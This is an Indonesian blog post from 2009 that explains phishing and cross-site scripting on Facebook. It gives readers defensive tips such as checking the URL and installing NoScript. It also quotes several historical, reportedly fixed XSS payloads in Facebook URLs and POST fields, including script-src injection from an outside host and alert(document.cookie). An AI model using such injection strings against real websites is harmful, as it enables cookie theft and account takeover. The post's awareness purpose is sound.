• Home
  • Posts RSS
  • Comments RSS
  • Edit
Blue Orange Green Pink Purple

featured-content

“Desktop on Browser”, itulah konsep komputer yang ditawarkan di masa mendatang. Dimana kita tidak harus lagi memiliki space harddisk yang besar untuk menampung program-program desktop kita. Dengan memanfaatkan technology web 2.0 (web application) dengan AJAX dan software pendukung lain seperti silverlight dan flash memungkinkan untuk membuat aplikasi berbasis web.

Facebook Hack-able?? (info)


pada Kamis, Juli 02, 2009, oleh Randy
facebook?? bisa di hack??

maksud dari pertanyaan diatas adalah bukannya situs facebook.com yang di hack melainkan hacking pada account-account di facebook dengan metode yang disebut “Phishing”.

apakah itu phishing??

dalam computer security, phishing didefinisikan sebagai suatu proses untuk mendapatkan informasi private seperti username, password dan kartu kredit dengan menggunakan dan memalsukan entitas terpercaya, bisa berupa memalsukan halaman dan link yang nyaris mirip dengan aslinya. (wikipedia)

phising ini biasanya dapat berupa email, instant messaging yang berisi link ke entitas terkait dengan .

benarkah phishing dapat dilakukan di facebook?? bagaimana menanggulanginya??

metoda phising dapat diterapkan di facebook dengan menggunakan metode fake login (1) dan dengan menggunakan Cross Site Scripting (XSS).

(1) seperti hal yang sudah diketahui, fake login artinya kita di kirim ke halaman login palsu dan diminta untuk login ulang. masalah ini mudah sekali ditangani dengan ketelitian anda setiap kali anda diminta untuk login. selalu perhatikan hal-hal dibawah ini :

- pastikan url (link) pada browser anda benar-benar http://www.facebook.com

- pastikan anda benar-benar sudah logout atau belum dengan masuk ke home dari facebook dengan mengetikan alamat http://www.facebook.com/home.php atau http://www.facebook.com

kita akan bahas masalah lebih lanjut pada masalah yang lebih serius yaitu (2) XSS atau Cross site scripting.

XSS adalah suatu kerentanan security computer pada aplikasi web yang memperbolehkan kita memasukan post / input berupa code injection pada sebuah halaman web yang kemudian halaman tersebut dapat dilihat oleh user lain. code yang biasanya di gunakan adalah client side code (html atau javascript)

pada XSS ini dapat digunakan oleh attacker untuk mencuri data sensitif seperti cookie (4) pada browser, id / username dan password, hingga melakukan bypass terhadap access control (5) seperti halnya same-origin-policy (6)

ket :

(4)cookies : suatu string kecil berisi text (bisa berupa id, password, username, dll) untuk validasi / verifikasi “who am i” untuk access pada sebuah website dan text tersebut tersimpan pada browser kita.

(5)access control : hak akses untuk mengontrol dari sebuah website (administrator, registered user dsb)

(6)same-origin-policy : hak untuk seseorang yang sebenarnya tidak berhak menjadi sama seperti hak pada orang yang seharusnya (original).

yang lebih bahaya dari XSS ini adalah user sering kali tidak sadar bahwa sudah terkena XSS, karena XSS berbeda dengan fake login. XSS tidak memiliki indikasi seperti fake url dan fake page, kita hanya melihat halaman pada facebook tidak memiliki keanehan dan kejanggalan walaupun terdapat XSS dan malicious code lain di dalamnya. salah satu cara yang dapat dilakukan adalah dengan menggunakan tools lain untuk memeriksa client-side code pada suatu website. salah satu tools yang dapat digunakan (firefox user only) adalah dengan menginstall plugins noScript pada Browser Firefox anda.

untuk menginstall noScript klik here

noScript akan memberikan notification berupa warning akan adanya XSS pada halaman web yang sedang anda kunjungi dan noScript juga dapat disetting opsi untuk selalu memblok javascript yang berbahaya (malicious code).

note : facebook team kerap melakukan update pada facebook.com berhubungan dengan kasus XSS ini.

Bagaimanakah attacker penyisipan malicious code (XSS) ke dalam Facebook??

banyak cara yang dapat dilakukan untuk menyisipkan XSS pada facebook, beberapa cara di antaranya sudah Fixed atau sudah di benahi oleh facebook team.

- menyisipkan code XSS pada profile (wall, status, dll) : sudah di benahi sejak 2007-2008

- mensubmit applikasi web (seperti games, dsb) pada apps.facebook.com yang memiliki XSS.

cara kedua ini yang hingga sekarang masih banyak digunakan, karena kita bisa mensubmit aplikasi pada facebook dan menyisipkan XSS kedalamnya. hingga sekarang facebook team menyortir aplikasi yang terindikasi memiliki XSS.

contoh beberapa XSS berbahaya yang pernah terdapat di Facebook yang mengirimkan cookie kita pada web lain sehingga attacker memiliki access control seperti kita dengan menggunakan cookie yang sama:

http://www.facebook.com/jobs/position.php?st=

%22%3E%3Ciframe%20src=http://xssed.com%3E%3C/iframe%3E

%3Cscript%3Ealert(document.cookie);%3C/script%3E

http://www.facebook.com/jobs/position.php?st=

%3CSCRIPT%20SRC=//ha.ckers.org/.j%3E

Contoh beberapa XSS pada Facebook yang telah ditangani oleh Facebook Team:

XSS #1 with POST

http://www.new.facebook.com/r.php

POST: reg_email__=”onmouseover=”alert(’XSS – ZJ’)”foo=”bar

XSS #2 with POST

https://login.facebook.com/login.php?iphone&next=http%3A%2F%2Fiphone.facebook.com%2F

POST:

email=biz%22%3E%3Cscript%3Ealert%28%27tohellwithgeorgia%27%29%3C%2Fscript%3E%3C%22&pass=greetz2evilghost&next=http%3A%2F%2Fiphone.facebook.com%2F&login=Login

XSS #3

http://apps.facebook.com/blognetworks/searchpage.php?tag=%22%3E%3Cscript%3Ealert(%22DaiMon%22)%3C/script%3E

This one works on another IP (67.228.87.82) and can’t be used for a worm, except a phishing one.

XSS #4 with POST

http://developers.facebook.com/tools.php?fbml

POST:

profile=1299125444&position=wide&api_key=%27%22%3E%3C%2Ftitle%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E%3E%3Cmarquee%3E%3Ch1%3EXSS+by+p3lo%3C%2Fh1%3E%3C%2Fmarquee%3E+&fbml=

sumber : http://www.xssed.com/news/80/New_highly_critical_Facebook_XSS_vulnerabilities_pose_serious_privacy_risks/

sumber : wikipedia, xssed.com, facebook, blog.blogsecurify.com
Read More 1 Comment | posted Randy | edit post

1 Comment

  1. bayumunajat on 3 Juli 2009 02:51

    busseeet ni.. dah ganti aja ni blog..
    nice posting..
    gw kejar ah...

     


Poskan Komentar

Poskan Komentar

Posting Lebih Baru Posting Lama Beranda

Make it Simple !

  • About
      About me. Edit this in the options panel.
  • Make your Country Proud

    Erepublik Wars

    Memuat...

    Follower

    Labels

    • Cross Site Scripting (1)
    • Desktop over Browser (1)
    • EyeOS (1)
    • Facebook (1)
    • g.ho.st (1)
    • Hack (1)
    • info (1)
    • IT (1)
    • phishing (1)
    • Schmedley (1)
    • Security (1)
    • security concern (1)
    • Software Engineering (1)
    • SPL (1)
    • Web Technology (1)
    • XSS (1)

    Blog Archive

    • ►  2010 (5)
      • ►  September (1)
        • [FER Battle] All about Battle 465 (Update Stat)
      • ►  Agustus (4)
        • Durian Open Movie Project - Sintel official premie...
        • Kaskus : Upacara Bendera Digital Pertama di Dunia ...
        • [music] I Don't Want to Set the World on Fire (194...
        • [erepublik] The hacker hits again
    • ▼  2009 (6)
      • ►  November (3)
        • Genia Festival : it's so FUN
        • Genia Festival : Motion Detection menggunakan Leve...
        • Genia Festival : the biggest IT (information Party...
      • ▼  Juli (3)
        • Facebook Hack-able?? (info)
        • Desktop on Browser : Web Application (Schmedley vs...
        • Pabrikasi Perangkat Lunak dengan SPL dan Metode-me...
    Powered By Blogger
  • Search






    • Home
    • Posts RSS
    • Comments RSS
    • Edit

    © Copyright Galawana.
    Designed by FTL theme | Bloggerized by FalconHive.com | brought to you by Smashing Magazine

    Back to Top